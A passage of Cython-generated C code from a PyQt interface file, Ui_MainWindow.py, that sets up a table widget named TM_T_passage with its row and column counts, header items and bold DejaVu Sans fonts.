__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__562, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 893, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":894 * self.TM_T_passage.setWordWrap(False) * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) # <<<<<<<<<<<<<< * self.TM_T_passage.setObjectName("TM_T_passage") * self.TM_T_passage.setColumnCount(6) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 894, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setRowCount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 894, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__563, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 894, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":895 * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") # <<<<<<<<<<<<<< * self.TM_T_passage.setColumnCount(6) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 895, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 895, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__564, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 895, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":896 * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") * self.TM_T_passage.setColumnCount(6) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 896, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnCount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 896, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__565, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 896, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":897 * self.TM_T_passage.setObjectName("TM_T_passage") * self.TM_T_passage.setColumnCount(6) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 897, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 897, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 897, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 897, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":898 * self.TM_T_passage.setColumnCount(6) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setFamily("DejaVu Sans") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 898, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":899 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setFamily("DejaVu Sans") * font.setPointSize(8) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 899, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 899, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 899, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 899, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":900 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setFamily("DejaVu Sans") # <<<<<<<<<<<<<< * font.setPointSize(8) * font.setBold(True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setFamily); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 900, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__566, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 900, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":901 * font = QtGui.QFont() * font.setFamily("DejaVu Sans") * font.setPointSize(8) # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 901, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__567, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 901, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":902 * font.setFamily("DejaVu Sans") * font.setPointSize(8) * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 902, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__568, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 902, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":903 * font.setPointSize(8) * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(0, item) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 903, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__569, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 903, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":904 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 904, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":905 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(0, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 905, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":906 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 906, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 906, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 906, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 906, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":907 * self.TM_T_passage.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setBold(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 907, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":908 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 908, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 908, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 908, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 908, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":909 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 909, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__570, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 909, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":910 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(1, item) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 910, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__571, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 910, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; 